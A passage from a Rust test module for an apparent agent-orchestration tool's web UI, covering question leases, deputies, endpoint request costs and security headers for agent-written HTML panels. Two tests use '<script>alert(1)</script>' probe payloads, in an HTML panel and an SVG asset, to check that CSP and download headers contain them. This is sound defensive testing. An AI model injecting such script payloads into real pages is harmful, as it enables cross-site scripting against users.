9262 store.drop_lease(&q.id);
9263 q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
9264 assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
9265 }
9266
9267 #[test]
9268 fn holder_reads_the_lease_not_the_record() {
9269 let mut q = Question::new(
9270 "run".to_owned(),
9271 "implement".to_owned(),
9272 "impl-A".to_owned(),
9273 "which?".to_owned(),
9274 String::new(),
9275 Vec::new(),
9276 );
9277 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
9278 q.cwd = Some("/tmp".to_owned());
9279 assert_eq!(holder_of(&q, None), Some("nobody"));
9280 let beat = |kind, ago: i64| ask::Lease {
9281 kind,
9282 pid: 1,
9283 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
9284 .unwrap(),
9285 };
9286 let fresh = beat(ask::WaiterKind::Asker, 1);
9287 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
9288 let daemon = beat(ask::WaiterKind::Daemon, 1);
9289 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
9290 let stale = beat(ask::WaiterKind::Asker, 3600);
9291 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
9292
9293 let mut c = Question::new(
9296 "task".to_owned(),
9297 crate::conduct::NODE.to_owned(),
9298 "conduct".to_owned(),
9299 "which?".to_owned(),
9300 String::new(),
9301 Vec::new(),
9302 );
9303 assert_eq!(holder_of(&c, None), Some("nobody"));
9304 c.cwd = Some("/tmp".to_owned());
9305 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
9306 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
9307 let deputy = beat(ask::WaiterKind::Deputy, 1);
9308 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
9309 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
9310
9311 let mut r = Question::new(
9313 String::new(),
9314 crate::bump::NOTICE_NODE.to_owned(),
9315 "release-watch".to_owned(),
9316 "stuck?".to_owned(),
9317 String::new(),
9318 vec!["hold".to_owned()],
9319 );
9320 assert_eq!(holder_of(&r, None), Some("nobody"));
9321 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
9322 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
9323 r.deputy = None;
9325 r.seat = "bump".to_owned();
9326 assert_eq!(holder_of(&r, None), None);
9327
9328 let mut m = Question::new(
9331 "run".to_owned(),
9332 crate::land::APPROVAL_NODE.to_owned(),
9333 "land".to_owned(),
9334 "merge?".to_owned(),
9335 String::new(),
9336 Vec::new(),
9337 );
9338 assert_eq!(holder_of(&m, None), Some("nobody"));
9339 assert_eq!(
9340 holder_of(&m, Some(&fresh)),
9341 Some("asker"),
9342 "a live explicit wait is a listener even before a deputy is attached"
9343 );
9344 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
9345 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
9346 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
9347 assert_eq!(holder_of(&m, None), Some("nobody"));
9348 }
9349
9350 fn stub_config() -> Config {
9351 Config {
9354 agents: vec![crate::config::AgentSpec {
9355 id: "stub".to_owned(),
9356 kind: AgentKind::Command,
9357 model: None,
9358 command: vec!["true".to_owned()],
9359 extra_args: Vec::new(),
9360 env: Default::default(),
9361 prompt_delivery: None,
9362 }],
9363 ..Config::default()
9364 }
9365 }
9366
9367 fn plain_question(seat: &str) -> Question {
9368 Question::new(
9369 String::new(),
9370 "n".to_owned(),
9371 seat.to_owned(),
9372 "s".to_owned(),
9373 String::new(),
9374 Vec::new(),
9375 )
9376 }
9377
9378 #[test]
9379 fn deputies_enabled_follows_the_config() {
9380 let on = stub_config();
9381 assert!(crate::deputy::can_start(Some(&on), ""));
9382 assert!(crate::deputy::can_start(Some(&on), "stub"));
9383 let mut off = on.clone();
9384 off.daemon.max_deputies = 0;
9385 assert!(!crate::deputy::can_start(Some(&off), ""));
9386 let mut empty = on;
9387 empty.agents.clear();
9388 assert!(!crate::deputy::can_start(Some(&empty), ""));
9389 assert!(!crate::deputy::can_start(None, ""));
9390 }
9391
9392 #[test]
9393 fn question_views_load_the_config_once() {
9394 let dir = TempDir::new().unwrap();
9395 let store = ask::Questions::at(dir.path().to_path_buf());
9396 let mut with_deputy = plain_question("b");
9397 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
9398 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
9399
9400 let calls = std::cell::Cell::new(0usize);
9401 let views = question_views(qs.clone(), &store, || {
9402 calls.set(calls.get() + 1);
9403 Some(stub_config())
9404 });
9405 assert_eq!(calls.get(), 1);
9406 assert_eq!(views.len(), 3);
9407 for (v, q) in views.iter().zip(&qs) {
9408 assert_eq!(
9409 v.deputies_enabled,
9410 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
9411 );
9412 }
9413
9414 let views = question_views(qs, &store, || None);
9415 assert!(views.iter().all(|v| !v.deputies_enabled));
9416
9417 let calls = std::cell::Cell::new(0usize);
9418 let views = question_views(Vec::new(), &store, || {
9419 calls.set(calls.get() + 1);
9420 None
9421 });
9422 assert!(views.is_empty());
9423 assert_eq!(calls.get(), 0);
9424 }
9425
9426 use pretty_assertions::assert_eq;
9427 use serde_json::Value;
9428 use tempfile::TempDir;
9429 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
9430
9431 use super::*;
9432 use crate::config::Config;
9433 use crate::queue::Source;
9434
9435 const SETTLE_STEPS: usize = 3_000;
9446
9447 struct Fixture {
9453 home: TempDir,
9454 addr: SocketAddr,
9455 }
9456
9457 impl Fixture {
9458 async fn start() -> Self {
9459 Self::with_loop(launch_idle).await
9460 }
9461
9462 async fn with_loop(launch: Launch) -> Self {
9464 let home = TempDir::new().expect("temp home");
9465 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
9466 Self { home, addr }
9467 }
9468
9469 async fn with_repo(repo: PathBuf) -> Self {
9473 let home = TempDir::new().expect("temp home");
9474 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
9475 Self { home, addr }
9476 }
9477
9478 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
9481 let home = TempDir::new().expect("temp home");
9482 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
9483 Self { home, addr }
9484 }
9485
9486 async fn serve(
9487 home: &FsPath,
9488 repo: PathBuf,
9489 launch: Launch,
9490 machine: Option<PathBuf>,
9491 ) -> SocketAddr {
9492 let queue = Queue::at(home.join("queue"));
9493 let runs = home.join("runs");
9494 std::fs::create_dir_all(&runs).expect("runs dir");
9495 let worktrees = home.join("wt").join("magi");
9496 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
9497 let ui = Ui::new(
9498 queue,
9499 Questions::at(home.join("questions")),
9500 Talks::at(home.join("talks")),
9501 runs,
9502 home.to_path_buf(),
9503 repo,
9504 )
9505 .with_worktrees_root(worktrees)
9506 .with_machine_config(machine)
9507 .with_launch(launch);
9508 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
9509 .await
9510 .expect("bind loopback");
9511 let addr = listener.local_addr().expect("local addr");
9512 tokio::spawn(async move {
9513 let router = ui
9514 .router()
9515 .layer(axum::middleware::from_fn(request_cost::observe));
9516 let _ = axum::serve(listener, router).await;
9517 });
9518 addr
9519 }
9520
9521 fn queue(&self) -> Queue {
9522 Queue::at(self.home.path().join("queue"))
9523 }
9524
9525 fn questions(&self) -> Questions {
9526 Questions::at(self.home.path().join("questions"))
9527 }
9528
9529 fn talks(&self) -> Talks {
9530 Talks::at(self.home.path().join("talks"))
9531 }
9532
9533 fn runs(&self) -> PathBuf {
9534 self.home.path().join("runs")
9535 }
9536
9537 async fn get(&self, path: &str) -> Res {
9538 request(self.addr, "GET", path, None).await
9539 }
9540
9541 async fn head(&self, path: &str) -> Res {
9546 request(self.addr, "HEAD", path, None).await
9547 }
9548
9549 async fn post(&self, path: &str, body: Option<&str>) -> Res {
9550 request(self.addr, "POST", path, body).await
9551 }
9552
9553 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
9554 request_with(self.addr, "GET", path, None, extra).await
9555 }
9556
9557 async fn delete(&self, path: &str) -> Res {
9558 request(self.addr, "DELETE", path, None).await
9559 }
9560
9561 async fn put(&self, path: &str, body: &str) -> Res {
9562 request(self.addr, "PUT", path, Some(body)).await
9563 }
9564
9565 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
9567 request_bytes(self.addr, path, headers, body).await
9568 }
9569 }
9570
9571 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
9574 let tmp = TempDir::new().unwrap();
9575 let mut repos = Vec::new();
9576 for name in ["one", "two"] {
9577 let repo = tmp.path().join(name);
9578 let origin = tmp.path().join(format!("{name}.git"));
9579 std::fs::create_dir_all(&repo).unwrap();
9580 crate::git::git(&repo, &["init", "-b", "main"])
9581 .await
9582 .unwrap();
9583 std::fs::write(
9584 repo.join("magi.toml"),
9585 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
9586 )
9587 .unwrap();
9588 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
9589 crate::git::git(
9590 &repo,
9591 &[
9592 "-c",
9593 "user.name=fixture",
9594 "-c",
9595 "user.email=fixture@example.invalid",
9596 "commit",
9597 "-m",
9598 "fixture",
9599 ],
9600 )
9601 .await
9602 .unwrap();
9603 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
9604 .await
9605 .unwrap();
9606 crate::git::git(
9607 &repo,
9608 &["remote", "add", "origin", origin.to_str().unwrap()],
9609 )
9610 .await
9611 .unwrap();
9612 crate::git::git(&repo, &["push", "origin", "main"])
9613 .await
9614 .unwrap();
9615 crate::git::git(
9616 &repo,
9617 &[
9618 "symbolic-ref",
9619 "refs/remotes/origin/HEAD",
9620 "refs/remotes/origin/main",
9621 ],
9622 )
9623 .await
9624 .unwrap();
9625 let (cfg, _) = Config::discover(&repo, None).unwrap();
9626 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
9627 repos.push(repo);
9628 }
9629 let repos: [PathBuf; 2] = repos.try_into().unwrap();
9630 (tmp, repos)
9631 }
9632
9633 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
9634 let (tmp, repos) = performance_repositories().await;
9635 let machine = tmp.path().join("machine.toml");
9636 std::fs::write(&machine, "").unwrap();
9637 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
9638 (tmp, repos, fx)
9639 }
9640
9641 fn seed_performance(
9642 fx: &Fixture,
9643 repos: &[PathBuf; 2],
9644 questions: usize,
9645 runs: usize,
9646 items: usize,
9647 ) {
9648 for i in fx.questions().list().len()..questions {
9650 let mut question = Question::new(
9651 "20261001-000000-0000".into(),
9652 "implement".into(),
9653 "impl-A".into(),
9654 format!("question {i}"),
9655 "context".into(),
9656 vec!["yes".into(), "no".into()],
9657 );
9658 question.id = format!("20261003-000000-{i:04x}");
9659 fx.questions().put(&mut question).unwrap();
9660 }
9661 for i in run_ids(&fx.runs()).len()..runs {
9662 write_run_repo(
9663 &fx.runs(),
9664 &format!("20261001-000000-{i:04x}"),
9665 RunStatus::Ready,
9666 repos[i % 2].to_str().unwrap(),
9667 );
9668 }
9669 for i in fx.talks().list().len()..items {
9670 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
9671 let mut talk = fx.talks().get(&id).unwrap();
9672 talk.repo = repos[i % 2].clone();
9673 fx.talks().put(&mut talk).unwrap();
9674 let mut task = crate::queue::Task::new(
9675 format!("task {i}"),
9676 "instruction".into(),
9677 repos[i % 2].clone(),
9678 crate::queue::Source::Agent {
9679 run: id,
9680 node: crate::queue::CHAT_NODE.into(),
9681 },
9682 );
9683 task.id = format!("20261004-000000-{i:04x}");
9684 fx.queue().put(&mut task).unwrap();
9685 if i < crate::notices::CAP {
9687 Notices::at(fx.home.path().join("notifications"))
9688 .raise(Notice::info(&format!("notice-{i}"), "notification"))
9689 .unwrap();
9690 }
9691 }
9692 assert_eq!(fx.questions().list().len(), questions);
9693 assert_eq!(run_ids(&fx.runs()).len(), runs);
9694 assert_eq!(fx.talks().list().len(), items);
9695 assert_eq!(fx.queue().list().len(), items);
9696 assert_eq!(
9697 Notices::at(fx.home.path().join("notifications"))
9698 .list()
9699 .len(),
9700 items.min(crate::notices::CAP)
9701 );
9702 }
9703
9704 fn request_counts(res: &Res) -> (usize, usize) {
9705 assert_eq!(res.status, 200, "{}", res.body);
9706 (
9707 res.header("x-test-discoveries").unwrap().parse().unwrap(),
9708 res.header("x-test-git").unwrap().parse().unwrap(),
9709 )
9710 }
9711
9712 #[tokio::test]
9713 async fn list_request_cost_is_independent_of_record_count() {
9714 let (_tmp, repos, fx) = performance_fixture().await;
9715 let mut previous = None;
9716 for n in [4, 60] {
9717 seed_performance(&fx, &repos, n, n, n);
9718 let mut costs = Vec::new();
9719 for (path, discoveries) in [
9720 ("/api/questions", 1),
9721 ("/api/talks", 2),
9722 ("/api/health", 1),
9723 ("/api/stats", 1),
9724 ] {
9725 for repo in &repos {
9728 let cache = repo.join(".git/magi/config");
9729 if cache.exists() {
9730 std::fs::remove_dir_all(cache).unwrap();
9731 }
9732 }
9733 let cost = request_counts(&fx.get(path).await);
9734 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
9735 assert_eq!(cost.0, discoveries, "{path}, N={n}");
9736 assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
9737 costs.push(cost);
9738 }
9739 if let Some(previous) = previous {
9740 assert_eq!(costs, previous);
9741 }
9742 previous = Some(costs);
9743 }
9744 }
9748
9749 #[tokio::test]
9752 async fn list_handler_cost_without_transport() {
9753 let (_tmp, repos) = performance_repositories().await;
9754 let fx = Fixture {
9755 home: TempDir::new().unwrap(),
9756 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
9757 };
9758 let ui = Arc::new(
9759 Ui::new(
9760 fx.queue(),
9761 fx.questions(),
9762 fx.talks(),
9763 fx.runs(),
9764 fx.home.path().to_path_buf(),
9765 repos[0].clone(),
9766 )
9767 .with_worktrees_root(fx.home.path().join("wt")),
9768 );
9769 let mut previous = None;
9770 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
9771 seed_performance(&fx, &repos, n, runs, items);
9772 let mut costs = Vec::new();
9773 for endpoint in ["questions", "talks", "health", "stats"] {
9774 for repo in &repos {
9775 let cache = repo.join(".git/magi/config");
9776 if cache.exists() {
9777 std::fs::remove_dir_all(cache).unwrap();
9778 }
9779 }
9780 let (_, cost) = request_cost::measure(async {
9781 match endpoint {
9782 "questions" => {
9783 let _ = questions_list(State(ui.clone())).await.unwrap();
9784 }
9785 "talks" => {
9786 let _ = talks_list(
9787 State(ui.clone()),
9788 Query(ListQuery {
9789 limit: None,
9790 ids: None,
9791 }),
9792 )
9793 .await
9794 .unwrap();
9795 }
9796 "health" => {
9797 let _ = health(State(ui.clone())).await.unwrap();
9798 }
9799 _ => {
9800 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
9801 .await
9802 .unwrap();
9803 }
9804 }
9805 })
9806 .await;
9807 eprintln!("{endpoint} handler N={n}: {cost:?}");
9808 assert_eq!(
9809 cost.0,
9810 if endpoint == "talks" { 2 } else { 1 },
9811 "{endpoint}"
9812 );
9813 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
9814 costs.push(cost);
9815 }
9816 if let Some(previous) = previous {
9817 assert_eq!(costs, previous);
9818 }
9819 previous = Some(costs);
9820 }
9821 }
9822
9823 #[tokio::test]
9824 async fn list_request_cost_scopes_do_not_mix() {
9825 let (_tmp, repos, fx) = performance_fixture().await;
9826 seed_performance(&fx, &repos, 10, 0, 10);
9827 let (questions, talks, notices) = tokio::join!(
9828 fx.get("/api/questions"),
9829 fx.get("/api/talks"),
9830 fx.get("/api/notifications")
9831 );
9832 assert_eq!(request_counts(&questions).0, 1);
9833 assert_eq!(request_counts(&talks).0, 2);
9834 assert_eq!(request_counts(¬ices), (0, 0));
9835 }
9836
9837 #[tokio::test]
9838 async fn list_endpoints_large_home_ceiling() {
9839 let (_tmp, repos, fx) = performance_fixture().await;
9840 seed_performance(&fx, &repos, 200, 300, 400);
9841 let mut failures = Vec::new();
9842 for path in [
9845 "/",
9846 "/app.js",
9847 "/app.css",
9848 "/api/questions",
9849 "/api/runs?limit=300",
9850 "/api/queue",
9851 "/api/talks",
9852 "/api/notifications",
9853 "/api/health",
9854 "/api/stats",
9855 "/api/loop",
9856 "/api/settings",
9857 "/api/repos",
9858 ] {
9859 let start = std::time::Instant::now();
9860 let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
9861 let elapsed = start.elapsed();
9862 eprintln!("{path}: {elapsed:?}");
9863 match result {
9864 Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
9865 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
9866 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
9867 }
9868 }
9869 assert!(failures.is_empty(), "{}", failures.join("\n"));
9870 }
9871
9872 struct Res {
9873 status: u16,
9874 headers: String,
9875 head: String,
9880 body: String,
9881 bytes: Vec<u8>,
9885 }
9886
9887 impl Res {
9888 fn json(&self) -> Value {
9889 serde_json::from_str(&self.body)
9890 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
9891 }
9892
9893 fn header(&self, name: &str) -> Option<&str> {
9895 self.head.lines().find_map(|line| {
9896 let (key, value) = line.split_once(':')?;
9897 key.trim()
9898 .eq_ignore_ascii_case(name)
9899 .then(|| value.trim_start().trim_end_matches('\r'))
9900 })
9901 }
9902 }
9903
9904 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
9907 request_with(addr, method, path, body, &[]).await
9908 }
9909
9910 async fn request_with(
9914 addr: SocketAddr,
9915 method: &str,
9916 path: &str,
9917 body: Option<&str>,
9918 extra: &[(&str, &str)],
9919 ) -> Res {
9920 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9921 for (name, value) in extra {
9922 head.push_str(&format!("{name}: {value}\r\n"));
9923 }
9924 if let Some(body) = body {
9925 head.push_str("Content-Type: application/json\r\n");
9926 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
9927 }
9928 head.push_str("\r\n");
9929 if let Some(body) = body {
9930 head.push_str(body);
9931 }
9932 let mut socket = tokio::net::TcpStream::connect(addr)
9933 .await
9934 .expect("connect to the test server");
9935 socket
9936 .write_all(head.as_bytes())
9937 .await
9938 .expect("write request");
9939 let mut raw = Vec::new();
9940 socket.read_to_end(&mut raw).await.expect("read response");
9941 let split = raw
9944 .windows(4)
9945 .position(|w| w == b"\r\n\r\n")
9946 .expect("a header block");
9947 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9948 let bytes = raw[split + 4..].to_vec();
9949 let status = head
9950 .lines()
9951 .next()
9952 .and_then(|line| line.split_whitespace().nth(1))
9953 .and_then(|code| code.parse().ok())
9954 .expect("a status line");
9955 Res {
9956 status,
9957 headers: head.to_lowercase(),
9958 head,
9959 body: String::from_utf8_lossy(&bytes).into_owned(),
9960 bytes,
9961 }
9962 }
9963
9964 async fn request_bytes(
9970 addr: SocketAddr,
9971 path: &str,
9972 headers: &[(&str, &str)],
9973 body: &[u8],
9974 ) -> Res {
9975 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9976 for (name, value) in headers {
9977 head.push_str(&format!("{name}: {value}\r\n"));
9978 }
9979 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
9980 let mut socket = tokio::net::TcpStream::connect(addr)
9981 .await
9982 .expect("connect to the test server");
9983 socket
9984 .write_all(head.as_bytes())
9985 .await
9986 .expect("write request head");
9987 socket.write_all(body).await.expect("write request body");
9988 let mut raw = Vec::new();
9989 socket.read_to_end(&mut raw).await.expect("read response");
9990 let split = raw
9991 .windows(4)
9992 .position(|w| w == b"\r\n\r\n")
9993 .expect("a header block");
9994 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9995 let bytes = raw[split + 4..].to_vec();
9996 let status = head
9997 .lines()
9998 .next()
9999 .and_then(|line| line.split_whitespace().nth(1))
10000 .and_then(|code| code.parse().ok())
10001 .expect("a status line");
10002 Res {
10003 status,
10004 headers: head.to_lowercase(),
10005 head,
10006 body: String::from_utf8_lossy(&bytes).into_owned(),
10007 bytes,
10008 }
10009 }
10010
10011 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
10013 let mut state = RunState::new(
10014 PathBuf::from("/repo/magi"),
10015 "main".to_owned(),
10016 "0123456789abcdef".to_owned(),
10017 "Add a web UI\n\nMobile first.".to_owned(),
10018 Config::default(),
10019 );
10020 state.id = id.to_owned();
10021 state.status = status;
10022 let dir = runs.join(id);
10023 std::fs::create_dir_all(&dir).expect("run dir");
10024 std::fs::write(
10025 dir.join("run.json"),
10026 serde_json::to_string_pretty(&state).expect("serialize run"),
10027 )
10028 .expect("write run.json");
10029 }
10030
10031 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
10035 let mut state = RunState::new(
10036 PathBuf::from(repo),
10037 "main".to_owned(),
10038 "0123456789abcdef".to_owned(),
10039 "task".to_owned(),
10040 Config::default(),
10041 );
10042 state.id = id.to_owned();
10043 state.status = status;
10044 let dir = runs.join(id);
10045 std::fs::create_dir_all(&dir).expect("run dir");
10046 std::fs::write(
10047 dir.join("run.json"),
10048 serde_json::to_string_pretty(&state).expect("serialize run"),
10049 )
10050 .expect("write run.json");
10051 }
10052
10053 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
10054 let body = serde_json::json!({
10055 "schema": 1,
10056 "pid": 4242,
10057 "started_at": Timestamp::now().to_string(),
10058 "updated_at": updated_at.to_string(),
10059 "idle": false,
10060 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
10061 "completed": 7,
10062 "polls": 143,
10063 });
10064 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
10065 }
10066
10067 fn launch_idle(
10077 _opts: daemon::Opts,
10078 stop: daemon::Stop,
10079 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10080 Box::pin(async move {
10081 while !stop.stopped() {
10082 tokio::time::sleep(Duration::from_millis(2)).await;
10083 }
10084 Ok(())
10085 })
10086 }
10087
10088 fn launch_broken(
10091 _opts: daemon::Opts,
10092 _stop: daemon::Stop,
10093 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10094 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
10099 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
10100 Box::pin(async move {
10101 Err(anyhow::anyhow!(if first {
10102 "publish the daemon status file: read-only file system"
10103 } else {
10104 "the restarted stand-in failed as well"
10105 }))
10106 })
10107 }
10108
10109 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
10116 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
10117
10118 fn launch_knocking_on_the_way_out(
10125 _opts: daemon::Opts,
10126 stop: daemon::Stop,
10127 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10128 Box::pin(async move {
10129 while !stop.stopped() {
10130 tokio::time::sleep(Duration::from_millis(2)).await;
10131 }
10132 let addr = PARK_KNOCK
10133 .lock()
10134 .expect("park knock")
10135 .expect("the test set an address");
10136 let heard = request(addr, "GET", "/api/health", None).await.status;
10137 *PARK_HEARD.lock().expect("park heard") = Some(heard);
10138 Ok(())
10139 })
10140 }
10141
10142 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
10151 for _ in 0..SETTLE_STEPS {
10152 let view = fx.get("/api/loop").await.json();
10153 if want(&view) {
10154 return view;
10155 }
10156 tokio::time::sleep(Duration::from_millis(10)).await;
10157 }
10158 panic!(
10159 "the loop never settled: {}",
10160 fx.get("/api/loop").await.json()
10161 );
10162 }
10163
10164 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
10166 let store = fx.questions();
10167 let mut q = Question::new(
10168 "20260902-000000-beef".to_owned(),
10169 "implement".to_owned(),
10170 "impl-A".to_owned(),
10171 summary.to_owned(),
10172 "because it matters".to_owned(),
10173 choices.iter().map(|c| (*c).to_owned()).collect(),
10174 );
10175 store.put(&mut q).expect("put question");
10176 q.id
10177 }
10178
10179 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
10185 let store = fx.questions();
10186 let mut q = Question::new(
10187 "20260902-000000-beef".to_owned(),
10188 "land".to_owned(),
10189 "fix".to_owned(),
10190 "Merge this?".to_owned(),
10191 "the diff is in the panel".to_owned(),
10192 vec!["merge".to_owned(), "hold".to_owned()],
10193 );
10194 let staging = fx.home.path().join("staging");
10197 std::fs::create_dir_all(&staging).expect("staging dir");
10198 let sources: Vec<PathBuf> = assets
10199 .iter()
10200 .map(|(name, bytes)| {
10201 let path = staging.join(name);
10202 std::fs::write(&path, bytes).expect("write staged asset");
10203 path
10204 })
10205 .collect();
10206 store
10207 .put_panel(&mut q, html, &sources)
10208 .expect("write the panel");
10209 store.put(&mut q).expect("put question");
10210 q.id
10211 }
10212
10213 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
10222 seed_talk_at(&fx.talks(), id, status)
10223 }
10224
10225 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
10226 std::fs::create_dir_all(store.root()).expect("talks dir");
10227 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
10228 .expect("serialize a seat");
10229 let body = serde_json::json!({
10230 "schema": 1,
10231 "id": id,
10232 "repo": "/repo/magi",
10233 "agent": "mock",
10234 "status": status,
10235 "turns": [],
10236 "created_at": Timestamp::now().to_string(),
10237 "updated_at": Timestamp::now().to_string(),
10238 "seat": seat,
10239 });
10240 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
10241 store.get(id).expect("the seeded talk has to be readable");
10242 id.to_owned()
10243 }
10244
10245 #[tokio::test]
10246 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
10247 let fx = Fixture::start().await;
10248 let id = panel(
10249 &fx,
10250 "<h1>Merge?</h1><img src=\"diff.svg\">",
10251 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
10252 );
10253
10254 for path in [
10255 format!("/api/questions/{id}/panel"),
10256 format!("/api/questions/{id}/asset/diff.svg"),
10257 ] {
10258 let res = fx.get(&path).await;
10259 assert_eq!(res.status, 200, "{path}: {}", res.body);
10260 assert_eq!(
10266 res.header("content-security-policy"),
10267 Some(
10268 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
10269 font-src data:; base-uri 'none'; form-action 'none'; \
10270 frame-ancestors 'self'"
10271 ),
10272 "{path} is the only thing between a hostile panel and the tailnet"
10273 );
10274 assert_eq!(
10275 res.header("x-content-type-options"),
10276 Some("nosniff"),
10277 "{path}: a browser must not re-decide the type we sent"
10278 );
10279 assert_eq!(
10280 res.header("referrer-policy"),
10281 Some("no-referrer"),
10282 "{path}: a panel must not leak the question id off the machine"
10283 );
10284
10285 let pre = fx.head(&path).await;
10290 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
10291 assert_eq!(
10292 pre.header("content-security-policy"),
10293 res.header("content-security-policy"),
10294 "{path}: the preflight carries the same policy"
10295 );
10296 assert_eq!(
10297 pre.header("content-type"),
10298 res.header("content-type"),
10299 "{path}: the preflight carries the same type"
10300 );
10301 }
10302 }
10303
10304 #[tokio::test]
10305 async fn a_panel_reaches_the_browser_byte_for_byte() {
10306 let fx = Fixture::start().await;
10307 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
10312 let id = panel(&fx, html, &[]);
10313
10314 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
10315
10316 assert_eq!(res.status, 200);
10317 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
10318 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
10319 assert_eq!(
10320 res.header("content-disposition"),
10321 None,
10322 "the panel itself is rendered in the frame, not downloaded"
10323 );
10324 }
10325
10326 #[tokio::test]
10327 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
10328 let fx = Fixture::start().await;
10329 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
10330 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
10331 let id = panel(
10332 &fx,
10333 "<img src=\"diff.svg\"><img src=\"shot.png\">",
10334 &[("diff.svg", svg), ("shot.png", png)],
10335 );
10336
10337 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
10338 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
10339
10340 assert_eq!(as_svg.status, 200);
10341 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
10342 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
10347
10348 assert_eq!(as_png.status, 200);
10349 assert_eq!(as_png.header("content-type"), Some("image/png"));
10350 assert_eq!(
10351 as_png.header("content-disposition"),
10352 None,
10353 "a raster image has no execution surface, so tapping it still shows it"
10354 );
10355 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
10356 }
10357
10358 #[tokio::test]
